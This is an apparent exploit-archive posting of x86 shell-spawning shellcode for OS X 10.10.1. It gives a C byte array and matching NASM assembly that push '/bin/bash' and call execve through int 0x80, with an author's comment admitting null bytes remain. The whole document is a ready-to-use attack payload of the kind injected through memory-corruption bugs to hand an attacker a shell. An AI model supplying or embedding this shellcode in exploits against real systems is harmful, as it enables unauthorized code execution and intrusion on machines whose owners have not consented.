OS X 10.10.1 – shell spawn [x86]

shellcode.c

/*
 Yes, I am aware that this contains a shit ton of null bytes.
 I am still a total noob w/ x86, but I'll try to fix this ASAP.
*/

char shellcode[] = {
 
	'\xe9', '\x19', '\x00', '\x00', '\x00',
	'\x5e',
	'\xb8', '\x3b', '\x00', '\x00', '\x00',
	'\x68', '\x00', '\x00', '\x00', '\x00',
	'\x68', '\x00', '\x00', '\x00', '\x00',
	'\x56',
	'\x81', '\xec', '\x04', '\x00', '\x00', '\x00',
	'\xcd', '\x80',
	'\xe8', '\xe2', '\xff', '\xff', '\xff',
	'\x2f',
	'\x62', '\x69', '\x6e',
	'\x2f',
	'\x62', '\x61', '\x73',
	'\x68'
 
};

spawn_shell.s

; compile with: `nasm -f macho spawn_shell.s && ld -o spawn_shell spawn_shell.o`
 
global start
 
section .text
    start:
        jmp     store
 
    store:
        call    spawn
        db      "/bin/bash", 0x0
 
    spawn:
        pop     esi
        push    0x0
        push    0x0
        push    esi
        mov     eax, 0x3b
        sub     esp, 0x4
        int     0x80
 
        add     esp, 0x1C